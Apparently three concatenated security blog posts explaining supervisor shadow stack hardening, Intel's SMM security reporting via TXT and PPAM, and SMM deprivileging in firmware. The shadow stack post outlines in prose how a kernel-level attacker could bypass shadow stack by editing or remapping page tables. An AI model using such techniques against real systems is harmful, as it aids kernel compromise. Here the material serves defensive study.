Shadow stack

Shadow stack, also referred to as SHSTK, is a backward-edge code flow integrity protection feature available in both Intel and AMD processors. Shadow stack detects the corruption of a return address in the stack by pushing a return address into the secondary stack in addition to the normal stack on the CALL instruction, and verifying return addresses in both the secondary and normal stacks match on the (I)RET instruction. If they do not, it indicates stack corruption and #CP is raised to abort the program or kernel.

This secondary stack is called shadow stack, and shadow stack used for kernel-mode CALL and (I)RET is called supervisor shadow stack (SSS).

Who keeps shadow stack effective?

User-mode shadow stack

Shadow stack can be enabled for user- and kernel-mode separately. When it is enabled for user-mode, it is the kernel that is responsible for making it functional and resilient against user-mode exploits. It makes sense and is straightforward as shadow stack is configured through system registers (CR4 and MSRs) and page tables, neither of those are accessible from user-mode exploits.

Kernel-mode shadow stack

On the other hand, when shadow stack is enabled for kernel-mode, the kernel alone cannot make it resilient against the kernel-mode exploits, which have access to those configuration nobs.

Let us think through a hypothetical example. We assume the supervisor shadow stack restrictions / supervisor shadow-stack control feature does not exist.

An attacker compromised a user-mode process, exploited a kernel bug, and gained an arbitrary kernel memory read/write primitive. The kernel text is static; meaning they are read-only through the second-level address translation (SLAT) with a hypervisor, and also, impossible to load a new, malicious kernel module. Now, attacker’s options are limited to code-reuse and data-only attacks. To carry out a code-reuse attack, the attacker may suspend a thread, and identify and modify its kernel stack to build a ROP chain. If shadow stack were enabled for kernel-mode, this would not work because return addresses in SSS and normal kernel stack would not match.

If this were the end of the story, security would be a bit of a boring field. An attacker can circumvent the kernel-mode shadow stack in two ways.

Attack by directly modifying a SSS page

Contents of the SSS page can be modified if page tables and the SSS page itself are writable to the kernel privilege exploit. While SSS pages must be read-only at the guest page table level, it is only enforced during page table walk. The attacker can update PTEs to make the SSS page writable, write a desired return address into it, and revert the permission to be read-only. Even having a hypervisor may not help the situation as we will see shortly.

Attack by remapping a SSS page

Additionally, the contents of the SSS page can be changed as long as page tables alone are writable to the kernel privilege exploit. In this case, the attacker can,

1. find an arbitrary writable page
2. write a desired return address into it
3. identify the page’s physical address
4. change a PTE of the SSS page to remap it into the identified physical address at (3)

Now, the SSS page is backed by the page where the attacker wrote a desired return address, resulting in the same effect as the first case. Again, having a hypervisor does not necessarily help.

(C’mon. It’s child’s play)

Hypervisor may not help

Having a hypervisor does not necessarily address these issues because the SSS pages cannot be made read-only through SLAT without (probably significant) performance penalties. If you do that, every CALL would cause VM exit due to an attempt to write a return address into a now-read-only SSS page.

Similarly, making the guest page tables read-only through SLAT will have an additional performance penalty whenever the guest OS updates its page tables. Intel VT-rp would address this problem, but its availability is limited.

Supervisor shadow stack restrictions / supervisor shadow-stack control

The solution to those issues is the feature called supervisor shadow stack restrictions (or SSSCheck) on AMD and supervisor shadow-stack control on Intel processors.

Both effectively do the same things:

• allows a processor to write return addresses into SSS pages marked as read-only with SLAT
• restricts a processor from reading and writing return addresses only from/to pages that are explicitly designated as SSS pages with SLAT

The first one addresses the issue with writable SSS pages. This allows the hypervisor to make the SSS pages read-only while still avoiding unwanted VM exits due to the CALL instruction writing a return address.

The second one addresses the issue of remapping the SSS pages. This is achieved by the hypervisor designating physical addresses to be SSS pages with SLAT and protecting a processor from checking return addresses in pages not designed as SSS pages. If an attacker remaps the SSS page into another physical address not designated as an SSS page, it will violate this restriction.

Implementation

Availability

The feature has been available since Zen3 (AMD) and 11th gen (Intel). It can be confirmed by testing if the following bit is 1:

• AMD: The bit 19 of CPUID Fn8000_000A_EDX (SSSCheck)
• Intel: The bit 23 of IA32_VMX_EPT_VPID_CAP

Enablement

The feature is enabled by setting 1 to the following bits:

• AMD: The bit 4 of VMCB +0x90 (SSSCheckEn)
• Intel: The bit 7 of extended-page-table pointer (EPTP)

Designating the SSS pages

The feature takes effect by specifying physical addresses as the SSS pages by configuring SLAT entries in specific ways.

• AMD:
  • NX=1 and U/S=0 in the final nested page table entry, and
  • R/W=1 in all other nested non-leaf page table entries leading to the final nested page table entry
• Intel:
  • SSS=1 (bit 60) in the final extended page table entry

Those pages should also be marked as read-only to prevent the attacker from directly modifying the contents (*1).

Use in the field

To my knowledge, as of March 16, 2025, Windows is the only platform using this feature. This is not surprising, as very few x86 platforms enable kernel shadow stack and have hypervisor-based security.

Here is an excerpt of dump of SLAT on Windows on both AMD and Intel, showing a few 2MB regions designated as SSS pages (indicated with S in the right side).

amd_asid_1.log:
  0x121e00000 -  0x122000000 -> Identity     S-----KR-V
  0x137200000 -  0x137400000 -> Identity     S-----KR-V
  0x31b000000 -  0x31b200000 -> Identity     S-----KR-V
  0x35e600000 -  0x35e800000 -> Identity     S-----KR-V
  0x3c7400000 -  0x3c7600000 -> Identity     S-----KR-V
  0x3f4c00000 -  0x3f4e00000 -> Identity     S-----KR-V

intel_vpid_1.log:
  0x122400000 -  0x122600000 -> Identity     S----6--R
  0x126e00000 -  0x127000000 -> Identity     S----6--R
  0x26b000000 -  0x26b200000 -> Identity     S----6--R
  0x2f8000000 -  0x2f8200000 -> Identity     S----6--R
  0x316800000 -  0x316a00000 -> Identity     S----6--R
  0x31be00000 -  0x31c000000 -> Identity     S----6--R
  0x46da00000 -  0x46dc00000 -> Identity     S----6--R

(The entire output can be found on gist.)

Conclusion

Shadow stack enhances backward-edge code flow integrity but faces challenges in kernel-mode, where privileged attackers can manipulate page tables. Making SSS pages read-only with SLAT may not be viable protection against such attacks. Supervisor shadow stack restrictions (SSSCheck) on AMD and supervisor shadow-stack control on Intel address these issues. These features allow secure supervisor shadow stack enforcement with minimal performance impact.

Acknowledgement

Thank you Kunal Mehta for providing me feedback on the draft!

I thought of writing this post when he told me about this feature almost two years ago, but I had not because I thought the feature might be a bit too minor. I changed my mind because still little information was available besides the specs, and I had to explain this feature multiple times since then. I would say this feature is more relevant than ever as more hardware supports shadow stack and more platforms depend on it.

Resources

• AMD APM volume 2
  • 15.25.14 Supervisor Shadow Stacks
• Intel SDM volume 3
  • 26.6.11 Extended-Page-Table Pointer (EPTP)
  • 30.3.3.2 EPT Violations
• x86, x64 Instruction Latency, Memory Latency and CPUID dumps

Footnotes

*1 (🔙): Relevant statements from AMD and Intel manuals:

• AMD: “Although is not enforced by the SSS feature, R/W should be 0 in the final nested page table entry in order to achieve the desired security functionality.” (15.25.14)
• Intel: “Clearing bit 1 in the EPT paging-structure entry that maps the page of the guest-physical address does not disallow shadow-stack reads and writes.” (30.3.3.2)

Found this post interesting? We offer a training course about Intel virtualization technology and security. Check out the course syllabus.

This post focuses on SMM security policy reporting and interaction with Windows. For SMI deprivileging, see the previous post.

Background

To minimize the impact of vulnerabilities in SMM, Intel implemented Intel System Resources Defense (ISRD) where SMM interrupt (SMI) handlers run in user-mode and can access security sensitive resources only when security policies grant it. Intel provides the policies to OEMs and allows them to customize the policies. The previous part of this blog series details ISRD.

With ISRD, the SMM is supposedly secure – but how would one tell if OEM did not install allow-everything™️ policies?

Non-SMM cannot read SMM memory (SMRAM) or tell what security policies are in effect. The SMM needs to provide an interface for non-SMM to expose this information in a secure and trusted manner. Although the traditional way of doing this is to implement an SMI handler, it would be untrusted as ISRD’s threat model assumes SMM modules may be compromised (*1).

To solve this problem, it is necessary that the reporting mechanism cannot be tampered with, or if it can, it is detectable (*2).

Overview of ISSR

Intel System Security Report (ISSR), code-named “Nifty Rock”, is Intel’s solution to this problem, taking the “tampering is detectable” approach. Under the ISSR architecture, an SMM security policy reporting component, called Platform Properties Assessment Module (PPAM), is verified and executed by yet another verified component, called Measured Launch Environment (MLE), while eliminating the risk of being compromised between verification and execution using Intel Trusted Execution Technology (TXT).

The below illustration depicts how each component in the ISSR architecture is verified and executed, from processor microcode to the security policy reporting component on Windows.

(Green indicates trusted or tamper-detectable components under the ISSR security model.)

1. Winload.efi initiates measured launch by executing the GETSEC[SENTER] instruction.
2. The processor verifies and executes the SINIT ACM.
3. The SINIT ACM measures (ie, hashes) PPAM and saves the measurement (ie, digest) into the TPM event log.
4. The SINIT ACM verifies and executes tcblaunch.exe.
5. tcblaunch.exe gets the computed measurement from the TPM event log and a reference measurements from a PPAM manifest, and then, verifies both matches.
6. tcblaunch.exe hypercalls PPAM and receives security policies.

During these operations, no other code than the above runs, and there is no chance of tampering, thereby achieving trusted reporting from PPAM.

ISSR implementation

Here, we will analyze technologies and components that implement the ISSR architecture (*3). The later Interaction with Windows section will explain how the Windows secure launch process interacts with them.

DgrReleasePpam11

• GUID: 943D4107-5D78-4233-A382-6260062C554C
• Developer: Intel

This is the PPAM – the SMM module that exposes an interface to non-SMM to report security policies enforced.

The file is in the SMM Transfer Monitor (STM) format, that is, an SMM module following 0x2000 bytes of the STM_HEADER and other data structures.

This file is loaded into SMRAM and registered as an STM by PpamPlatformSmm (91D211BF-37C2-495A-8DF7-9546BD2555C0) during the SMM configuration phase and executed via two hypercalls from MLE, specifically, tcblaunch.exe on Windows. One of the hypercalls reports the security policies.

The STM was designed to run SMM in guest-mode using VT-x. However, unlike a conventional STM, PPAM does not deprivilege SMM modules since the ISRD architecture achieves it. PPAM is developed as an STM so that it can:

• be measured (ie, hashed) by a trusted component, the SINIT ACM, and
• provide a hypercall-based interface to avoid dependency on SMI

The former addresses the “tampering is detectable” aspect of the ISSR architecture. Let us review how this is achieved in more detail, starting with Intel TXT.

Intel Trusted Execution Technology

(Skip this section if you have a good handle on Intel TXT)

Intel Trusted Execution Technology (TXT) is a set of technologies to establish a dynamic chain of trust.

In short, it allows software to ask a processor to verify the integrity of a specified software and execute it in a trusted way. The main premises and goals are that:

1. Processors are difficult to tamper with and can be trusted.
2. And thus, software components verified by the processor directly or indirectly can also be trusted, as long as no unverified software runs.
3. Achieve this with the shortest chain of trust to minimize the chance of errors and possible known-good states.

(2) is widely implemented as a combination of Intel Boot Guard (or AMD secure boot) and UEFI secure boot. However, it is challenging to do so right and take advantage of it due to the complexity of UEFI and the wide range of components need to be verified.

Instead, TXT starts the chain of trust from an arbitrary moment, hence the “dynamic” chain of trust, and very quickly jumps to a software component that wants a trusted execution environment, achieving both (2) and (3) the above.

TXT does so by resetting a processor to a predefined state with the GETSEC[SENTER] instruction as illustrated below.

(Green indicates trusted components under the TXT security model.)

The instruction microcode verifies the integrity of a region of memory specified by software and starts executing it if there is no issue. This first piece of software is called SINIT ACM, which will be explained shortly.

It is crucial that after execution of the GETSEC[SENTER] instruction, no unverified software runs until explicitly allowed. All interrupts are disabled, and other processors halt their execution. Thus, even if an SMM module is already tampered with by the time of GETSEC[SENTER], it still cannot impact execution as SMIs are disabled.

More details of the instruction can be found in the “CHAPTER 7 SAFER MODE EXTENSIONS REFERENCE” of Intel SDM, and interaction with other components like SINIT ACM and MLE are in the “Intel® Trusted Execution. Technology (Intel® TXT). Software Development Guide. Measured Launch Environment Developer’s Guide”, which we will refer to as the MLE DG.

SINIT ACM

• GUID: 3FB89FE4-CFC5-4C54-9EEE-E3DF016E3269
• Developer: Intel

It is a blob file containing the first software code executed after GETSEC[SENTER]. The “ACM Header format” section of the MLE DG and “Table 7-6. Register State Initialization After GETSEC[SENTER] and GETSEC[WAKEUP]” of the Intel SDM document the file format and the initial register value, respectively.

SINIT ACM is exclusively 32-bit code and verifies the system configurations to ensure the rest of the process can complete securely. For example, it checks that memory needed for SINIT ACM and MLE are protected from DMA so that DMA cannot influence measured launch. The list of verified things includes but is not limited to PCH registers, TPM, MTRRs, and IOMMU, a total of over 300 checks.

Another important thing the SINIT ACM does for the ISSR architecture is that it measures a registered STM (*4). The measurement is used to extend the PCR 17 and saved to the TPM event logs on a protected region of memory called TXT heap. The latter is critical because it allows MLE to compare it with a reference measurement and verify the integrity of PPAM as we review later.

For more details on the use of TPM and the TPM event logs, see the “1.10 PCR Usage” and “TPM Event Log” sections of MLD DG, respectively.

Once the SINIT ACM completes all verification and measurement, it executes the GETSEC[EXITAC] instruction to indicate the end of SINIT ACM and jumps to the entry point of MLE as specified by software before execution of the GETSEC[SENTER] instruction though TXT heap.

MLE

MLE is a software component whose integrity is measured through the above-explained process. In the case of Windows, tcblaunch.exe is the entry point of MLE.

It is executed from the SINIT ACM with the initial register state documented in the “Table 34. Platform State upon SINIT exit and return to MLE” section of the MLE DG.

MLE is the non-SMM software that talks to PPAM and retrieves security policies enforced by the ISRD architecture. MLE can do this in a trusted way because its integrity is measured, making corruption detectable, and no untrusted code or DMA can interfere with its execution.

Interaction with Windows

To make discussions more concrete, let us analyze how the technologies and components we reviewed fit with the Windows boot process. That is, implementation of System Guard Secure Launch, with a focus on tcblaunch.exe and PPAM interactions.

TXT heap initialization

The secure launch process starts with preparing the TXT heap way before the execution of the GETSEC[SENTER] instruction.

TXT heap is a memory region to pass data between BIOS, OS, SINIT ACM, and MLE. It consists of 4 sets of data produced and consumed by different components. The below diagram shows this relationship.

BIOS performs the first phase of heap initialization, specifically:

• TxtDxe (FF917E22-A228-448D-BDAA-68EFCCDDA5D3) allocates the heap and initializes BiosData, except ones related to SINIT ACM.
• PlatformAdvancedDxe (C5046EFD-7BC3-4206-987C-32DA45026E6D) populates the SINIT ACM related part of BiosData if SINIT ACM is available.

The next phase of initialization is winload.efi populating OsMleData and OsSinitData parts with the TxtInitializeTxtHeap function.

3 of these 4 data structures have defined formats so a consumer can understand provided data. For example, SINIT ACM can know the entry point of MLE because OsSinitData has an address of the MLE header, which contains the entry point of MLE. Additionally, for each component to be able to find the TXT heap, the address of the heap must be written to the TXT.HEAP.BASE register at physical address 0xfed30300. The below illustrates the chain of data just explained:

(Green indicates MMIO memory. Gray indicates DRAM memory.)

For more information on TXT heap and TXT registers, see “Intel® TXT Heap Memory” and “Intel® Trusted Execution Technology Configuration Registers” of the MLE DG.

Secure launch

• Key function: TxtpLaunchMle

After preparing the necessary data structures, winload.efi initiates the measured launch process by executing the GETSEC[SENTER] instruction. On Windows, this process is referred to as “secure launch”.

The true entry point of MLE is mlestartup.exe embedded into tcblaunch.exe. mlestartup.exe can be identified with the UUID 5aac8290-6f47-a774-0f5c-55a2cb51b642 as described in the “Table 3. MLE Header structure” of the MLE DG. Its primary goal is to set up and transition to long-mode and jump to tcblaunch.exe.

The “The Secure Launch” section of the Windows Internals part 2 explains more about the process. We will focus on the interactions with PPAM.

PPAM integrity check

• Key function: BlpTxtValidatePpamBinaryManifest

One of the first steps tcblaunch.exe does with PPAM is to verify the integrity of it on memory. tcblaunch.exe does this by comparing the measurement of PPAM computed by the SINIT ACM and a reference measurement.

The computed measurement is extracted from the TPM event log through the TXT heap (*5). The reference measurement is taken from the PPAM manifest as explained next. If the digests match, tcblaunch.exe proceeds with interacting with PPAM. If not, it skips that and marks the environment as unsafe.

DgrReleasePpam11Manifest

• GUID: 6C8FAEE0-6521-477A-83BF-0D6598DD28A2
• Developer: Intel

This is the PPAM manifest containing the reference measurement of the DgrReleasePpam11 file.

It is an x509 certificate in the DER format following a 12-byte custom header. After removing the header, the raw data can be dumped with openssl.

$ openssl asn1parse -in DgrReleasePpam11Manifest.p7b -inform DER
...
   61:d=5  hl=3 l= 244 prim: OCTET STRING      [HEX DUMP]:5050414D5F4D414E49464553540001007DA5AE5A7E1CEE488EDB5D2831F78CEE00000000BA2D1160BA2D116000000000000000000000000000000000000000000000000091081B95D3123977DC1DEA8AFEFFA9F40A72E50F94E7A7AE1B780EFAD035509A000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
...

Notice that the last non-zero data within the above output and image is the SHA256 digest of the DgrReleasePpam11 file.

$ sha256sum DgrReleasePpam11_body.bin
91081b95d3123977dc1dea8afeffa9f40a72e50f94e7a7ae1b780efad035509a  DgrReleasePpam11_body.bin

During the SMM configuration phase, this manifest file is copied outside SMRAM as a configuration table by PpamPlatformSmm and becomes available for checking PPAM integrity. Although the PPAM manifest is exposed to non-SMM, tampering with it would be detectable as it is signed.

PPAM invocation

• Key function: BlpTxtValidateSmmConfiguration

Once the integrity of the PPAM on memory is verified, tcblaunch.exe enters VMX root-operation by executing the VMXON instruction in the BlpTxtPpamVmxInit function. It is possible to execute this instruction since Windows is still in an early boot phase, and Windows Hypervisor has not started yet.

Then, tcblaunch.exe executes the VMCALL instruction a few times to call PPAM hypercalls (*6). This hypercall interface is as follows:

Input:

• eax = Hypercall number
• ebx:ecx = Physical address of the buffer descriptor as below

Output:

• eax = 0 if successful. 0x8xxx_xxxx if error

struct PPAM_HYPERCALL_BUFFER_DESCRIPTOR {
  uint64_t BufferPhysicalAddress;

  // For input, the size of `BufferPhysicalAddress`.
  // For output, it may be updated with the required size.
  uint32_t BufferSize;
};

There are two hypercalls, 0x10009 and 0x1000A, and each of them is called twice: first to get the required buffer size, and then, to get actual data.

On hypercall, PPAM checks that the system is in MLE by checking the TXT.STS register. At the end of hypercall handling, PPAM executes the VMLANCH or VMRESUME instruction with the “deactivate dual-monitor treatment” VM-entry control set to 1. This prevents PPAM from behaving as a conventional STM and causing any other VM-exits besides this hypercall interface.

Hypercall 0x10009

This hypercall provides information about PPAM itself and is only used to decide whether the other hypercall should be called. The result is based on the header data prepended in the DgrReleasePpam11 file, and thus, static.

Hypercall 0x1000A

This hypercall returns the effective security policies, which includes:

• 0x100 - Memory ranges
• 0x101 - IO ports
• 0x102 - MSRs
• 0x103 - Protection on SMM state save
• 0x201 - Lock of SMM configuration

The formats of the IO ports and MSR access policies returned by PPAM are that of the IO permission bitmap and MSR bitmap, respectively. PPAM resolves the IO ports bitmap from the SMM TSS and the MSR bitmap through the SMM_INFO data structure, which is analyzed in the previous post.

Policy evaluation

• Key function: BlpSmmTxtEvaluatePolicy

The policies returned by PPAM are evaluated and translated into an SMM isolation level, ranging from 3 (best), 2, 1, or disabled/error (worst). The requirements for IO ports and MSRs to be qualified for each level are listed in the Appendix section.

The SMM isolation level is further mapped into one of the following integers, which is extended to PCR 20 and saved into the TPM event log as an event ID 0x000c0002 (SIPAEVENT_DRTM_SMM_LEVEL).

Here is a dump of the event log taken on my system, indicating the SMM isolation level being 3 (0x1e).

<EV_Event_Tag PCR="20" EventDigest="ec16c02772e4aa64c15182d222452bc3f848f0cbd69325855bbfe04a98db3dfa" Size="9">
  <SipaEvent Type="0x000c0002" Size="1">
    1e
    <!-- . -->
  </SipaEvent>
</EV_Event_Tag>

Extending the PCR implies that even if an attacker prevents registration of PPAM by exploiting SMM configuration phase code as explained by the Binary team, it will be visible from an OS and security software. Though, worth noting that being visible does not mean someone or something watches out for anomalies and reacts to them. Researching the actual impact of having unexpected PCR 17, 20, or a low SMM isolation level under bare Windows and EDR software is left to readers.

Conclusion

In this post, we analyzed the implementation of ISSR and how Windows interacted with it to receive the SMM security policies from PPAM by establishing the trusted execution environment. Technologies and components we reviewed include PPAM, PPAM manifest, Intel TXT, TXT heap, SNIT ACM, tcblaunch, hypercalls, SMM isolation level, and TPM event logs. We also identified IO ports and MSRs deemed to have security implications from Windows’ perspective based on the requirements for isolation levels.

Although understanding the threat model and technology stack of ISSR is challenging, I greatly enjoyed solving the puzzle of how each piece builds up the ISSR architecture together. Also, while we did not discuss any new security issues, learning modern security mechanisms is still a great way to think through possible attack vectors and is recommended for security minded folks.

(Your holiday trip is canceled, human.)

Footnotes

*1 (🔙): The other reason SMI would not work is that such SMM modules are not measured during the measured launch, and thus, no way to verify its identity and integrity in the first place.

*2 (🔙): And any reasonably complex software systems can be tampered with.

*3 (🔙): Do not confuse ISSR (PPAM) with a mechanism to deprivilege SMM. Some articles mix them up. They are strongly related but well-isolated technologies.

*4 (🔙): I am unclear on what mechanism allows SINIT ACM to access SMRAM. My guess is that this is one of the things allowed during the authenticated code execution mode, but it does not appear to be documented.

*5 (🔙): On Windows, TPM event logs are eventually saved on C:\Windows\Logs\MeasuredBoot\ and can be queried through the TPM Base Services. This log is called Windows Boot Configuration Logs (WBCL) or TCG event logs in the Windows nomenclature and is parsable with API prefixed with Wbcl. See the TSS.MSR repository for examples. Here is the output of the modified version of the log parser on my system, showing the digest of PPAM in the event 0x0000040E (SIPAEV_TXT_STM_HASH)

<TCGEvent Type="0000040e" PCR="17" Digest="91081b95d3123977dc1dea8afeffa9f40a72e50f94e7a7ae1b780efad035509a" Size="0"/>

Notice this 9108... matches with the SHA256 digest of the PPAM file above. By parsing them, third-party software can verify state of ISRD and ISSR, for example.

*6 (🔙): You might have wondered when the VMLAUNCH instruction ran before the VMCALL instruction. It was not. Once the STM is registered, the VMCALL instruction during VMX root-operation causes a transition to the STM entry point as “SMM VM Exits”. For more information, see “32.15.6 Activating the Dual-Monitor Treatment” in the Intel SDM.

Appendix

SMM isolation level requirements

Further learning resources

Found this post interesting? We offer a training course about the Intel virtualization technology. Check out the course syllabus.

This post focuses on SMI deprivileging. For security policy reporting and interaction with Windows, see the next post.

Goals

The goal of this series is to shed light on the designs and implementations of two of Intel’s “below-OS” security features: Intel System Resources Defense (ISRD) and Intel System Security Report (ISSR), for security researchers and system software designers.

The readers are assumed to be familiar with the concept of SMM isolation. If not, I suggest reading the following articles and whitepapers published by Intel and Microsoft:

• Intel® Hardware Shield: Trustworthy SMM on the Intel vPro® Platform
• System Management Mode deep dive: How SMM isolation hardens the platform
• Optionally:
  • Intel® Hardware Shield – Below-the-OS Security
  • Force firmware code to be measured and attested by Secure Launch on Windows 10

While these explain background problems and the architecture of the solutions very well, implementation details are not the focus of the publications. Even beyond these whitepapers and articles, very little information on their implementation exists publicly. Thus, it is worth detailing these for security minded folks.

This article is based on the results of reverse engineering the 12th gen system (Dell Latitude 7330 with BIOS version 1.18.0) and likely has incorrect analysis. Please message me if you find misinformation.

Overview of ISRD

Intel System Resources Defense (ISRD), code-named “Devil’s Gate Rock”, is the Intel implementation of SMM isolation. Under this architecture, SMM code is placed in user-mode except very small pieces provided by Intel, thereby minimizing the impact of vulnerabilities in SMM interrupt (SMI) handlers.

The below diagram illustrates the SMM execution flow in this architecture.

At the high level, SMIs are handled as follows:

1. On SMI, the SMM entry point in kernel-mode gets executed.
2. The SMM entry point jumps to user-mode.
3. One of the OEM-developed SMM modules gets executed to handle the given SMI.
4. When the SMM module attempts to access system resources, an exception occurs.
   • The security monitor handles the exception according to the security policies.
5. The security monitor returns to user-mode.
   • Repeat (4) and (5) as necessary.
6. When the SMI is handled, execution returns to kernel-mode code.
7. Kernel-mode code exits SMM.

Notice that only the SMM entry point and exception handling code are executed in kernel-mode, compared with traditional SMI handling where all code runs in kernel-mode.

Core implementation

Let us look at the installation and execution flow of ISRD core components in more detail.

The policy installation and updates are explained in the Policy management implementation section.

SMM Policy Shim

SMM Policy Shim (SPS) is kernel-mode SMM component provided by Intel to OMEs as blob files. It consists of two files: DgrReleaseSpsSmmEntryPoint and DgrReleaseSps.

DgrReleaseSpsSmmEntryPoint

• GUID: 7C7D635B-8B9C-463C-9F7F-91F60906848F
• Developer: Intel

This is a raw blob file whose offset zero is the SMM entry point code in real-mode.

This code sets up and switches to long-mode, locks security sensitive registers with the SMM_SUPOVR_STATE_LOCK MSR (*1), and jumps to a user-mode entry point by executing the SYSEXIT instruction if ISRD is enabled (*2).

Since the SMM entry point code is security critical and needs to be as simple as possible, when it is installed on SMM memory (SMRAM), the code is patched to accommodate non-constant values instead of having complex logic to compute and/or resolve them within the SMM entry point code. This patching is done by PiSmmCpuDxeSmm walking through the SMM_INFO structure at the end of this file. The structure contains the entries with the following format, instructing PiSmmCpuDxeSmm which addresses to patch.

struct SMM_INFO_ENTRY {
  uint8_t Type;
  uint8_t SizeInBytes;
  uint16_t Offset;
};

As such, some code is incomplete on disk. As an example, this is code on disk that lacks a proper value for CR3.

00000085: B8 00 00 00 00  mov eax, 0
0000008A: 0F 22 D8        mov cr3, rax

However, 03 04 86 00 in the patch entries below lets PiSmmCpuDxeSmm fill in the CR3 value (type 03) by patching a 04-byte patch at the offset 0086 at runtime. This approach reduces the complexity of the entry point code. For the list of the patch entries, see the Appendix section.

Finally, this file also implements a function that runs when execution returns from user-mode with the SYSENTER instruction. This function executes the RSM instruction at the end, exiting SMM.

DgrReleaseSps

• GUID: 7134E3EE-7FA6-4489-87A7-AE38984EAED8
• Developer: Intel

This is the cornerstone of the ISRD architecture – the security monitor implementing part of policy enforcement for user-mode SMM modules.

This module implements interrupt handlers, and in the case of #GP from user-mode, it evaluates a cause and a security policy. If the security policy allows the operation, this module performs the action that caused the exception on behalf of user-mode and returns the result.

For instance, when a user-mode SMM module executes the RDMSR instruction, it causes #GP. The exception is handled by this module. The module determines that the instruction is to read MSR_SMM_FEATURE_CONTROL by decoding bytes at user-mode RIP. Then, it looks up the security policy, finds that this particular MSR is allowed to read, executes the RDMSR instruction for the same MSR, updates user-mode EDX:EAX and RIP accordingly, and returns to user-mode.

In case an exception is caused by an action not allowed by the security policy, or is anything other than #GP from user-mode, it halts processor execution (*3).

Note that some operations from user-mode are always allowed and handled without consulting the security policy. The below table summarizes how user-mode operations are handled:

For IO ports handling, we will take a closer look in the PpamPlatformSmm section later. The later Policy management implementation section describes how policies are installed and customized.

PiSmmCpuDxeSmm

• GUID: A3FF0EF5-0C28-42F5-B544-8C7DE1E80014
• Developer: TianoCore, customized by OEM

This module is an installer and glue.

During the SMM configuration phase, this component detects the compatibility with ISRD through MSR_PLATFORM_INFO (0xCE), and if ISRD is to be enabled, it loads the above mentioned two SPS files into SMRAM and patches DgrReleaseSpsSmmEntryPoint as explained above.

This file also implements the user-mode entry point jumped from DgrReleaseSpsSmmEntryPoint. This entry point is the business logic entry point for SMM, meaning it synchronizes (aka, rendezvous) all logical processors and executes an SMI handler.

The code in this flow can run in both user-mode and kernel-mode to support both when ISRD is enabled and disabled. It usually does not require special care as the SPS allows access to necessary system resources even if the processor is in user-mode.

Policy management implementation

This section explains how IO port and MSR access policies are installed, and then, updated by OEM. The overview is depicted below.

PpamPlatformSmm

• GUID: 91D211BF-37C2-495A-8DF7-9546BD2555C0
• Developer: Intel, customized by OEM

This small SMM module contains and installs the default security policy provided by Intel.

The module runs during the SMM configuration phase, resolves the security policy manipulation API, the gSmmResourceConfigProtocolGuid protocol implemented in PiSmmCpuDxeSmm, and calls it with statically embedded IO and MSR policies.

The statically embedded policies are converted into the following runtime formats through the protocol:

• MSRs: That of the MSR bitmaps (see: “25.6.9 MSR-Bitmap Address” in the Intel SDM). DgrReleaseSps enforces the policy by looking up this bitmap on #GP.
• IO ports: That of the IO permission bitmap. The processor enforces the policy by using this bitmap as the IO permission bitmap (see: “19.5.2 I/O Permission Bit Map” in the Intel SDM). The IO permission bitmap is an old mechanism in the processors, allowing user-mode code to access IO ports specified by the bitmap.

It is worth noting that the IO port and MSR access policies are allow-list based, reducing the risk of having overly permissive policies.

The policies are customizable by OEMs until the SMM configuration is locked and third-party code starts running. This provides flexibility to OEMs while preventing malicious customization by third-party code. We will take a look at customization by Dell in the OEM customization section.

For the contents of the default policies embedded in this file, refer to the Appendix section.

OEM customization

DellPpamPlatformSmm

• GUID: 3C4B7480-E1D8-4D59-80C1-7307A2B1D666
• Developer: Dell (OEM)

This SMM module updates the default security policy with these by Dell.

This module registers a callback executed right before SMM configuration is locked. The callback resolves Dell’s additional policies in DellSmmHwAccessInfo, then, adds more allowed IO ports and MSRs using the previously mentioned gSmmResourceConfigProtocolGuid protocol.

DellSmmHwAccessInfo

• GUID: 7652F853-6243-4358-2BBD-6F235DCA34AB
• Developer: Dell (OEM)

This SMM module embeds and exposes Dell’s additional allowed IO ports and MSRs.

Dell’s policies open access to 114 MSRs and, at most, 7 IO ports in addition to the Intel-provided policies. For the list of them, see the Appendix section.

Debug registers write access policy

Whether writing to debug registers is allowed is ruled by a value pointed by the entry type 0xC of SMM_INFO. This value is hard-coded to disallow access and is neither updated by the patching mechanism nor customizable to OEMs in the analyzed version. The use of debug registers from user-mode SMM modules is most likely allowed only with a debug version for OEMs.

Further research areas

These are potentially interesting areas to further study:

• Access policies for memory and processor saved state access.
• Exploitability of the default and Dell security policies should user-mode SMM be compromised.

Conclusion

In this post, we reviewed the design and implementation of ISRD; the mechanism to deprivilege SMI handlers into user-mode and enforce security policies from kernel-mode. Along the way, we also studied runtime patching, and layouts and customization of the security policies by OEM. Finally, we enumerated the lists of IO ports and MSRs still accessible from the user-mode SMI handlers under Intel’s and Dell’s security policies.

ISRD is beautifully architected by taking advantage of existing processor features. It is relatively straightforward to learn compared with ISSR (which will be discussed in the next post), as almost all aspects of implementations are in either software or well-understood hardware features. If you are interested in low-level platform security, studying it is worth the effort.

Footnotes

*1 (🔙): SMM_SUPOVR_STATE_LOCK (MSR 0x141) is undocumented. It is the implementation of Intel Runtime BIOS Resilience, the hardware enhancement to lock CR0, CR3, and other security sensitive registers even against kernel-mode SMM code.

*2 (🔙): If ISRD is not enabled, the SMM entry point simply JMPs to the user-mode entry point in PiSmmCpuDxeSmm, meaning the same code is executed in kernel-mode.

*3 (🔙): To be precise, if a non continuable exception is raised from user-mode, execution goes back to user-mode and dumps register values before halting the processor. This code also contains an unreachable path that lets user-mode continue execution, which is most likely to help OEMs audit policy violations while developing their SMM modules.

*4 (🔙): The CLI instruction is handled as no-op by the SPS.

Appendix

SMM_INFO patch entry types

Type | Size | Offset | Patched | Description
00   | 04   | 0002   |         | Size of SPS entry point code
01   | 06   | 004B   | Yes     | SMM GDT limit and base
02   | 0A   | 0660   | Yes     | SMM IDT limit and base
03   | 04   | 0086   | Yes     | SMM CR3
05   | 08   | 04BD   | Yes     | SMM_SUPOVR_STATE_LOCK (0x141)
06   | 04   | 0065   | Yes     | SMM Stack pointer
07   | 04   | 0074   | Yes     | SMM Stack size
08   | 04   | 0676   | Yes     |
09   | 04   | 067A   | Yes     |
0A   | 04   | 067E   |         |
0B   | 04   | 0682   |         |
0C   | 01   | 0400   |         | Allow write-access to debug registers
0D   | 01   | 042B   | Yes     |
16   | 08   | 066A   | Yes     | SPS base
17   | 04   | 0672   |         |
